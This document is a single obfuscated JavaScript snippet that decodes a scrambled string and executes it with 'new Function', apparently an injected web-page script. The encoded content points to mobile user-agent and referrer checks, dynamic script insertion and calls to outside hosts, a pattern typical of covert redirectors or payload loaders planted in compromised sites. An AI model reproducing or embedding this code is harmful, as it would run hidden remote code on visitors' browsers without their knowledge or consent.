wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();